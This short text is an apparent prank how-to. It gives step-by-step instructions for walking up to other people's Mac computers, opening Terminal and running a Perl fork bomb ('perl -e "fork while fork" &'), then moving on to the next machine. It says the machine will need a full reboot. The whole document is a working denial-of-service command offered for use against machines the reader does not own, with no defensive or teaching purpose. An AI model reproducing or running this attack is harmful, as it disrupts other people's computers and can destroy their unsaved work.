1- Walk up to a computer and press {apple}+{spacebar}.
2- At the search prompt type "terminal" and press return
3- A terminal window will pop up.
4- At the prompt that appears type---> perl -e "fork while fork" &
and press return.
Walk away from the computer, and do it again on the next one. The computer will appear to be usable, but it's not actually. You've created a fork bomb, and there's really no breaking out of it on a mac without doing a full reboot.